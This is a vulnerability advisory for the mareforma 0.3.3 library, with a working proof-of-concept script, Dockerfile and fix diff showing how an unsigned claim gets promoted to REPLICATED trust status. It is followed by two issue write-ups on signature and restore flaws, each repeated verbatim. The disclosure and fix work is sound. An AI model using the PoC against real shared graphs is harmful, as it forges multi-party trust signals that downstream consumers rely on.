Summary
mareforma 0.3.3 contains a critical integrity flaw in the REPLICATED convergence logic (maybeupdatereplicatedunlocked() in mareforma/db/core.py:1300-1319). The peer-selection SQL query that determines whether two independent claims "agree" on the same anchor does not verify that either claim carries a valid cryptographic signature from an enrolled validator key. Because rekorenabled=False is the default and automatically sets transparencylogged=1 at insert time, every claim — signed or not — immediately satisfies the convergence precondition. An attacker with no Mareforma key can write an unsigned claim to a shared graph, cause it to converge with a legitimate signed peer claim, and have it promoted to REPLICATED status. The forged REPLICATED row is then returned by the default trust query (graph.query(minsupport="REPLICATED")), allowing the attacker to inject false trust signals into any downstream consumer relying on REPLICATED as a multi-party endorsement guarantee.
Details
Root cause — mareforma/db/core.py:1300-1319
The convergence function maybeupdatereplicatedunlocked() selects peer claims using a SQL query that filters on status, unresolved, transparencylogged, and artifacthash, but contains no predicate on signaturebundle or enrolled-key identity:
python mareforma/db/core.py:1300-1319 rows = conn.execute( f""" SELECT DISTINCT c.claimid, c.generatedby FROM claims c, jsoneach(c.supportsjson) j WHERE j.value IN ({placeholders}) AND c.claimid != ? AND c.generatedby != ? AND c.supportlevel != 'ESTABLISHED' AND c.status = 'open' AND c.unresolved = 0 AND c.transparencylogged = 1 AND ( c.artifacthash IS NULL OR ? IS NULL OR c.artifacthash = ? ) """,
Once peer rows are collected, the sink at core.py:1324-1334 promotes all matching claim IDs — including the attacker's — to REPLICATED without any additional validation.
Why the preconditions are trivially satisfied
1. transparencylogged = 1 is set automatically. When rekorenabled=False (the library default), core.py:1061 sets transparencylogged = 1 immediately after insert. There is no Rekor step, so every claim becomes convergence-eligible the moment it is written. 2. requiresigned=False is the default. mareforma/init.py:41 defaults requiresigned to False. When the attacker opens the graph with a non-existent key path, init.py:132-138 silently sets signer = None, enabling unsigned claim insertion. 3. assertclaim() performs no signature gate. graph.py:284-291 only validates DOI resolution on the supports list before forwarding attacker-controlled fields to db.addclaim() (graph.py:373-380).
Why the forged claim surfaces in trust queries
The default query path at core.py:3647-3650 filters out only PRELIMINARY claims whose generator is not enrolled. Claims at REPLICATED status are returned unconditionally, so the unsigned forged row is indistinguishable from a legitimately converged row in any downstream consumer.
The helper that should have been called
core.py:3661-3669 contains extractsignaturebundlekeyid(), which can extract the key ID from a signaturebundle. This helper exists but is never invoked on the convergence path, indicating the validation was inadvertently omitted rather than a design decision.
Complete data flow (source → sink)
| Step | Location | Description | |------|----------|-------------| | 1 | cli.py:700-739 | CLI accepts arbitrary TEXT, --supports, --generated-by; lines 720-723 explicitly permit unsigned graph mode | | 2 | init.py:128-138 | Missing key file → signer = None (no error raised) | | 3 | graph.py:284-291 | assertclaim() forwards user-controlled supports after DOI check only | | 4 | graph.py:373-380 | Calls db.addclaim() with attacker-controlled claim fields | | 5 | db/core.py:1208-1214 | Post-insert convergence triggered when unresolved == False and transparencylogged == 1 | | 6 | db/core.py:1300-1319 | Peer-selection SQL — no signaturebundle or enrolled-key check (vulnerable sink) | | 7 | db/core.py:1324-1334 | Updates peer and attacker claims to REPLICATED | | 8 | db/core.py:3647-3650 | Default query returns REPLICATED rows without signature validation |
PoC
Prerequisites
bash python3 -m venv /tmp/mareforma-poc /tmp/mareforma-poc/bin/pip install mareforma==0.3.3
Or run the fully self-contained Docker image:
bash Build (from the repository root, with the local repo mounted under ./repo) docker build -f vuln-001/Dockerfile -t mareforma-vuln001 .
Run (no network required) docker run --rm --network none mareforma-vuln001
Step-by-step attack
python #!/usr/bin/env python3 from pathlib import Path from tempfile import TemporaryDirectory
import mareforma from mareforma import signing
with TemporaryDirectory() as td: root = Path(td) keypath = root / "root-key.pem"
# Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor. signing.bootstrapkey(keypath) with mareforma.open(root, keypath=keypath) as g: anchor = g.assertclaim( "established anchor", classification="DERIVED", generatedby="seed/root", seed=True, ) # Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor. honest = g.assertclaim( "same result", supports=[anchor], generatedby="honest-agent", )
# Step 3: Attacker opens the same graph with a non-existent key path. # init.py:132-138 silently sets signer=None — unsigned mode. attackerkey = root / "missing-attacker-key.pem" # does not exist with mareforma.open(root, keypath=attackerkey) as g: # Step 4: Attacker inserts an unsigned claim supporting the same anchor. # Convergence fires in maybeupdatereplicatedunlocked(): # - Two claims share the same ESTABLISHED anchor # - Different generatedby values # - Both have transparencylogged=1 (Rekor disabled by default) # - No signature or enrollment check performed attack = g.assertclaim( "forged convergence", supports=[anchor], generatedby="attacker-agent", )
attackinfo = g.getclaim(attack) print(attackinfo["supportlevel"]) # → REPLICATED print(attackinfo["signaturebundle"] is None) # → True (unsigned)
# Step 5: The unsigned REPLICATED claim appears in the default trust query. results = g.query(minsupport="REPLICATED") for r in results: print((r["text"], r["supportlevel"], r["signaturebundle"] is None, r["generatorenrolled"]))
Expected output
REPLICATED True ('established anchor', 'ESTABLISHED', False, True) ('forged convergence', 'REPLICATED', True, False) # ← unsigned, unenrolled ('same result', 'REPLICATED', False, True)
The forged claim (signaturebundle=None, generatorenrolled=False) is promoted to REPLICATED and returned alongside legitimately signed claims.
Remediation
The convergence path must require both the incoming claim and every selected peer claim to carry a valid signaturebundle signed by a distinct enrolled validator key:
diff --- a/mareforma/db/core.py +++ b/mareforma/db/core.py @@ - newstatusrow = conn.execute( - "SELECT status FROM claims WHERE claimid = ?", (newclaimid,), + newstatusrow = conn.execute( + "SELECT status, signaturebundle FROM claims WHERE claimid = ?", + (newclaimid,), ).fetchone() if newstatusrow is None or newstatusrow["status"] != "open": return + from mareforma import validators as validators + newkeyid = extractsignaturebundlekeyid(newstatusrow["signaturebundle"]) + if newkeyid is None or not validators.isenrolled(conn, newkeyid): + return @@ - SELECT DISTINCT c.claimid, c.generatedby + SELECT DISTINCT c.claimid, c.generatedby, c.signaturebundle @@ - if not rows: + peerids = [] + for row in rows: + peerkeyid = extractsignaturebundlekeyid(row["signaturebundle"]) + if peerkeyid is None or peerkeyid == newkeyid: + continue + if not validators.isenrolled(conn, peerkeyid): + continue + peerids.append(row["claimid"]) + + if not peerids: return - peerids = [r["claimid"] for r in rows] + [newclaimid] + peerids = peerids + [newclaimid]
Impact
This is an integrity bypass vulnerability (CWE-347: Improper Verification of Cryptographic Signature). REPLICATED is mareforma's primary multi-party trust signal, intended to convey that at least two independent, enrolled validators have independently observed and signed the same result. By silently bypassing the signature and enrollment checks in the convergence path, the library allows any local agent — with no cryptographic credentials — to forge this trust signal.
Who is impacted: Any user or system that queries a mareforma graph with minsupport="REPLICATED" and treats the result as evidence of multi-party validation. This includes automated pipelines, audit dashboards, policy engines, or downstream consumers that rely on REPLICATED status to gate trust decisions (e.g., accepting a dataset, approving a model artifact, or publishing a result).
Because the forged claim is indistinguishable from a legitimately converged claim in query results, consumers cannot detect the attack without out-of-band inspection of signaturebundle and generatorenrolled fields — fields that the library's default query interface does not surface prominently.
The vulnerability is exploitable in the default configuration: requiresigned=False, rekorenabled=False. The attack requires only local write access to a shared graph database (e.g., a shared filesystem or writable network mount) and no Mareforma key.
Reproduction artifacts
Dockerfile
dockerfile FROM python:3.12-slim
LABEL description="VULN-001 PoC: Unsigned Claims Promoted to REPLICATED (CWE-347)" LABEL version="0.3.3"
WORKDIR /app
Copy the local repository and install from source COPY repo /app/repo RUN pip install --no-cache-dir /app/repo
Copy the proof-of-concept script COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
python #!/usr/bin/env python3 """ VULN-001 Proof of Concept Title: Unsigned Claims Promoted to REPLICATED via Missing Signature Enforcement CWE-347: Improper Verification of Cryptographic Signature CVSS: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Root cause: maybeupdatereplicatedunlocked() in mareforma/db/core.py:1300-1319 selects peer claims for convergence without checking signaturebundle or enrolled-key identity. When rekorenabled=False (the default), transparencylogged is set to 1 immediately (core.py:1061), so every claim—signed or not—is eligible for the convergence query. An attacker with no key can therefore write an unsigned claim that converges with a legitimate signed peer claim and is promoted to REPLICATED status. The forged REPLICATED row is then returned by the default query path (core.py:3647-3650) that only filters unenrolled PRELIMINARY claims.
Attack steps: 1. Honest root agent bootstraps a key; auto-enrolls as root validator on first graph open; asserts an ESTABLISHED seed anchor claim. 2. Honest agent asserts a signed PRELIMINARY peer claim supporting the anchor. 3. Attacker opens the same graph WITHOUT any key (missing-key.pem does not exist → signer=None per init.py:132-138). 4. Attacker asserts an unsigned PRELIMINARY claim supporting the same anchor. 5. Convergence fires: two claims, same ESTABLISHED anchor, different generatedby, both have transparencylogged=1 (Rekor disabled). 6. Both claims are promoted to REPLICATED. No signature check is performed. 7. graph.query(minsupport="REPLICATED") returns the unsigned forged claim.
Expected evidence (deterministic exit code 0): - attack claim supportlevel == "REPLICATED" - attack claim signaturebundle is None (unsigned) - attack claim generatorenrolled == False - forged unsigned REPLICATED claim appears in query results """
import sys from pathlib import Path from tempfile import TemporaryDirectory
import mareforma from mareforma import signing
SEPARATOR = "-" 70
def banner(msg: str) -> None: print(f"\n{SEPARATOR}") print(f" {msg}") print(SEPARATOR)
def main() -> int: print("VULN-001 PoC — Unsigned Claims Promoted to REPLICATED (CWE-347)") print(f"mareforma version: {mareforma.version}")
with TemporaryDirectory() as td: root = Path(td) keypath = root / "root-key.pem"
# ------------------------------------------------------------------ # Step 1: Bootstrap a key for the legitimate root agent. # On first graph open, this key auto-enrolls as the root # validator, which is required for seed=True. # ------------------------------------------------------------------ banner("Step 1: Bootstrap signing key for honest root agent") signing.bootstrapkey(keypath) print(f" Key path : {keypath}") print(f" Exists : {keypath.exists()}")
# ------------------------------------------------------------------ # Step 2: Honest root agent creates an ESTABLISHED anchor. # Uses seed=True, which requires an enrolled validator. # The first open() with a fresh key auto-enrolls it. # ------------------------------------------------------------------ banner("Step 2: Honest root agent — create ESTABLISHED anchor + signed peer claim") with mareforma.open(root, keypath=keypath) as g: anchor = g.assertclaim( "established anchor", classification="DERIVED", generatedby="seed/root", seed=True, ) anchorinfo = g.getclaim(anchor) print(f" anchor claimid : {anchor}") print(f" anchor supportlevel: {anchorinfo['supportlevel']}") assert anchorinfo["supportlevel"] == "ESTABLISHED", ( f"Unexpected anchor level: {anchorinfo['supportlevel']}" )
# Honest agent adds a signed peer claim supporting the anchor. honest = g.assertclaim( "same result", supports=[anchor], generatedby="honest-agent", ) honestinfo = g.getclaim(honest) print(f" honest claimid : {honest}") print(f" honest supportlevel: {honestinfo['supportlevel']}") print(f" honest signed : {honestinfo['signaturebundle'] is not None}")
# ------------------------------------------------------------------ # Step 3: Attacker opens the graph with a non-existent key. # init.py:132-138: missing file → signer=None (unsigned mode). # ------------------------------------------------------------------ banner("Step 3: Attacker opens graph WITHOUT a key — unsigned mode") attackerkey = root / "missing-attacker-key.pem" print(f" Attacker key path: {attackerkey}") print(f" Attacker key exists: {attackerkey.exists()} (intentionally absent)")
with mareforma.open(root, keypath=attackerkey) as g: # Step 4: Attacker asserts an unsigned claim with the same anchor. # Convergence logic fires: two claims, same ESTABLISHED # anchor, different generatedby, both transparencylogged=1. banner("Step 4: Attacker inserts UNSIGNED claim — triggers convergence") attack = g.assertclaim( "forged convergence", supports=[anchor], generatedby="attacker-agent", )
attackinfo = g.getclaim(attack) attacksupportlevel = attackinfo["supportlevel"] attackunsigned = attackinfo["signaturebundle"] is None attackenrolled = attackinfo.get("generatorenrolled", False)
print(f" attack claimid : {attack}") print(f" attack supportlevel : {attacksupportlevel}") print(f" attack unsigned : {attackunsigned} (signaturebundle is None)") print(f" attack enrolled : {attackenrolled}")
# Step 5: Verify the unsigned REPLICATED claim appears in the # default query that consumers rely on for trust decisions. banner("Step 5: Query minsupport='REPLICATED' — should include forged claim") results = g.query(minsupport="REPLICATED") print(f" Total REPLICATED results: {len(results)}") forgedinresults = False for r in results: isforged = ( r["signaturebundle"] is None and r.get("generatorenrolled") is False and r["supportlevel"] == "REPLICATED" ) marker = " [FORGED]" if isforged else " " print( f"{marker} text={r['text']!r:30s} " f"level={r['supportlevel']:12s} " f"unsigned={r['signaturebundle'] is None!s:5s} " f"enrolled={r.get('generatorenrolled', '?')}" ) if isforged: forgedinresults = True
# ------------------------------------------------------------------ # Verdict # ------------------------------------------------------------------ banner("Verdict") conditions = { "attack claim supportlevel == REPLICATED": attacksupportlevel == "REPLICATED", "attack claim is UNSIGNED (signaturebundle is None)": attackunsigned, "attack generatorenrolled == False": attackenrolled is False, "forged REPLICATED claim visible in query results": forgedinresults, } allpass = True for desc, result in conditions.items(): status = "PASS" if result else "FAIL" print(f" [{status}] {desc}") if not result: allpass = False
if allpass: print( "\n [CONFIRMED] VULN-001: unsigned claim promoted to REPLICATED.\n" " An attacker without any key can forge graph trust.\n" " The convergence path (core.py:1300-1319) does not check\n" " signaturebundle or enrolled-key identity." ) return 0 else: print( "\n [NOT TRIGGERED] One or more conditions failed.\n" " Vulnerability may have been patched or env differs." ) return 1
if name == "main": sys.exit(main())
What's wrong
verifybundle documents that it verifies "a bundle's DSSE envelope AND each per-claim signature", lists "per-claim signature failure" among its raised errors, and promises that partial verification never surfaces "an authenticated bundle that contains some invalid claims" as success. The code does not do this. The JSON-LD predicate built by JSONLDExporter.claimnode carries no signature material (there is no signatureBundle field on the node), so the verify loop has nothing cryptographic to check per claim. It only re-derives each claim's canonical-statement digest from the node fields and compares it to the signed subject list:
python chaininput = signing.canonicalstatement({...node fields...}, node.get("evidence") or {}) expected = hashlib.sha256(chaininput).hexdigest() if subjects[subjectname] != expected: raise BundleVerificationError(...)
That digest check is self-referential: the exporter signs both the subject digests and the predicate nodes with the same key. It confirms the bundle is internally consistent as built, not that each claim's purported asserter ever validly signed it. The existing test testtamperedclaimtextinpredicatefails asserts a "digest mismatch", confirming digest-only verification is the actual contract.
Severity and impact
Medium. All trust in a bundle collapses to the single exporter key. Whoever holds it (or a malicious exporter) can emit a bundle containing claims whose asserter signatures are missing, invalid, or forged, and verifybundle returns success. A relying party reading the docstring believes per-claim authenticity was verified when it was not. Security-sensitive because this is the trust boundary the SCITT-style export exists to provide.
Location
- mareforma/exportbundle.py:20 module docstring claims verification checks "every per-claim signature inside predicate" - mareforma/exportbundle.py:183 verifybundle docstring promises per-claim signature verification and a per-claim signature failure error - mareforma/exportbundle.py:254 verify loop only recomputes and compares canonical-statement digests - mareforma/exporters/jsonld.py:178 claimnode emits no signature field, so the predicate carries nothing to verify per claim
Fix direction
Two honest options. Either export each claim's signature bundle in the JSON-LD predicate and have verifybundle cryptographically verify it (including the claimid and subject binding) against the claim's asserter or validator key, raising on the first failure as documented. Or, if per-claim verification is out of scope for the bundle format, correct the module docstring and the verifybundle docstring to state exactly what is verified: the bundle-level DSSE signature plus internal subject-digest consistency, with per-claim asserter signatures explicitly not checked.
Do red/green TDD: add a regression test that fails on main, then make it pass.
Quality bar
SOLID, DRY, KISS. Clean, readable, well-tested code. No new errors, warnings, or test failures; the full suite stays green on all supported Python versions.
What's wrong
verifybundle documents that it verifies "a bundle's DSSE envelope AND each per-claim signature", lists "per-claim signature failure" among its raised errors, and promises that partial verification never surfaces "an authenticated bundle that contains some invalid claims" as success. The code does not do this. The JSON-LD predicate built by JSONLDExporter.claimnode carries no signature material (there is no signatureBundle field on the node), so the verify loop has nothing cryptographic to check per claim. It only re-derives each claim's canonical-statement digest from the node fields and compares it to the signed subject list:
python chaininput = signing.canonicalstatement({...node fields...}, node.get("evidence") or {}) expected = hashlib.sha256(chaininput).hexdigest() if subjects[subjectname] != expected: raise BundleVerificationError(...)
That digest check is self-referential: the exporter signs both the subject digests and the predicate nodes with the same key. It confirms the bundle is internally consistent as built, not that each claim's purported asserter ever validly signed it. The existing test testtamperedclaimtextinpredicatefails asserts a "digest mismatch", confirming digest-only verification is the actual contract.
Severity and impact
Medium. All trust in a bundle collapses to the single exporter key. Whoever holds it (or a malicious exporter) can emit a bundle containing claims whose asserter signatures are missing, invalid, or forged, and verifybundle returns success. A relying party reading the docstring believes per-claim authenticity was verified when it was not. Security-sensitive because this is the trust boundary the SCITT-style export exists to provide.
Location
- mareforma/exportbundle.py:20 module docstring claims verification checks "every per-claim signature inside predicate" - mareforma/exportbundle.py:183 verifybundle docstring promises per-claim signature verification and a per-claim signature failure error - mareforma/exportbundle.py:254 verify loop only recomputes and compares canonical-statement digests - mareforma/exporters/jsonld.py:178 claimnode emits no signature field, so the predicate carries nothing to verify per claim
Fix direction
Two honest options. Either export each claim's signature bundle in the JSON-LD predicate and have verifybundle cryptographically verify it (including the claimid and subject binding) against the claim's asserter or validator key, raising on the first failure as documented. Or, if per-claim verification is out of scope for the bundle format, correct the module docstring and the verifybundle docstring to state exactly what is verified: the bundle-level DSSE signature plus internal subject-digest consistency, with per-claim asserter signatures explicitly not checked.
Do red/green TDD: add a regression test that fails on main, then make it pass.
Quality bar
SOLID, DRY, KISS. Clean, readable, well-tested code. No new errors, warnings, or test failures; the full suite stays green on all supported Python versions.
What's wrong
During restore, transparencylogged is recomputed as 1 if (tomllogged is not False and bundlehasrekor) else 0, where bundlehasrekor comes only from a rekor.uuid field inside signaturebundle. That derivation is wrong in both directions.
First, the rekor block is metadata attached after signing (attachrekorentry in mareforma/signing/rekor.py leaves the payload and signatures untouched), so it is not covered by the Ed25519 signature. A hand-edited claims.toml can add "rekor": {"uuid": "x"} to any claim's bundle and forge the "publicly witnessed by Rekor" state. The claim signature still verifies, and restore never cross-checks the block against [rekorinclusions] or the log. Tampering with claims.toml is the exact threat model restore defends against; verifyclaimsignaturesonrestore checks only payload and signatures.
Second, a signed claim in a graph that never used Rekor is written with transparencylogged=1 (the column default when Rekor is disabled) but restores as 0 because its bundle has no rekor block. The convergence gate requires transparencylogged = 1, so post-restore peers can no longer converge to REPLICATED. With no rekorurl configured, refreshunsigned() is a no-op and the flag stays 0 forever. Observed on the honest path: signed non-Rekor claim restores from transparencylogged=1 to 0, and a subsequent peer stays at PRELIMINARY instead of converging.
Severity and impact
High. An attacker who edits claims.toml can mark claims Rekor-witnessed and REPLICATED-eligible without them ever having been logged. Meanwhile the common honest configuration (signed, no Rekor) has its trust state silently degraded by every catastrophic-loss restore, with no recovery path.
Location
- mareforma/db/restore.py:376 reads tomllogged from the TOML and probes the bundle for a rekor.uuid - mareforma/db/restore.py:385 computes resolvedtransparency from the unsigned rekor block alone - mareforma/db/core.py:1401 the REPLICATED convergence gate requires c.transparencylogged = 1
Fix direction
Do not derive transparencylogged from an unsigned envelope field. When a rekor block is present, require a matching, cryptographically verified [rekorinclusions] entry (via verifyrekorinclusion against the pinned log public key) whose hashedrekord spec.data.hash equals the SHA-256 of the claim's signed payload before setting 1; otherwise set 0.
When the claim is signed and neither the bundle nor the graph carries Rekor coordinates, restore the write-time value: the TOML omits transparencylogged unless it was 0, so treat an absent flag plus no rekor bundle as 1 (the column default for non-Rekor writes).
Do red/green TDD: add a regression test that fails on main, then make it pass.
Quality bar
SOLID, DRY, KISS. Clean, readable, well-tested code. No new errors, warnings, or test failures; the full suite stays green on all supported Python versions.
What's wrong
During restore, transparencylogged is recomputed as 1 if (tomllogged is not False and bundlehasrekor) else 0, where bundlehasrekor comes only from a rekor.uuid field inside signaturebundle. That derivation is wrong in both directions.
First, the rekor block is metadata attached after signing (attachrekorentry in mareforma/signing/rekor.py leaves the payload and signatures untouched), so it is not covered by the Ed25519 signature. A hand-edited claims.toml can add "rekor": {"uuid": "x"} to any claim's bundle and forge the "publicly witnessed by Rekor" state. The claim signature still verifies, and restore never cross-checks the block against [rekorinclusions] or the log. Tampering with claims.toml is the exact threat model restore defends against; verifyclaimsignaturesonrestore checks only payload and signatures.
Second, a signed claim in a graph that never used Rekor is written with transparencylogged=1 (the column default when Rekor is disabled) but restores as 0 because its bundle has no rekor block. The convergence gate requires transparencylogged = 1, so post-restore peers can no longer converge to REPLICATED. With no rekorurl configured, refreshunsigned() is a no-op and the flag stays 0 forever. Observed on the honest path: signed non-Rekor claim restores from transparencylogged=1 to 0, and a subsequent peer stays at PRELIMINARY instead of converging.
Severity and impact
High. An attacker who edits claims.toml can mark claims Rekor-witnessed and REPLICATED-eligible without them ever having been logged. Meanwhile the common honest configuration (signed, no Rekor) has its trust state silently degraded by every catastrophic-loss restore, with no recovery path.
Location
- mareforma/db/restore.py:376 reads tomllogged from the TOML and probes the bundle for a rekor.uuid - mareforma/db/restore.py:385 computes resolvedtransparency from the unsigned rekor block alone - mareforma/db/core.py:1401 the REPLICATED convergence gate requires c.transparencylogged = 1
Fix direction
Do not derive transparencylogged from an unsigned envelope field. When a rekor block is present, require a matching, cryptographically verified [rekorinclusions] entry (via verifyrekorinclusion against the pinned log public key) whose hashedrekord spec.data.hash equals the SHA-256 of the claim's signed payload before setting 1; otherwise set 0.
When the claim is signed and neither the bundle nor the graph carries Rekor coordinates, restore the write-time value: the TOML omits transparencylogged unless it was 0, so treat an absent flag plus no rekor bundle as 1 (the column default for non-Rekor writes).
Do red/green TDD: add a regression test that fails on main, then make it pass.
Quality bar
SOLID, DRY, KISS. Clean, readable, well-tested code. No new errors, warnings, or test failures; the full suite stays green on all supported Python versions.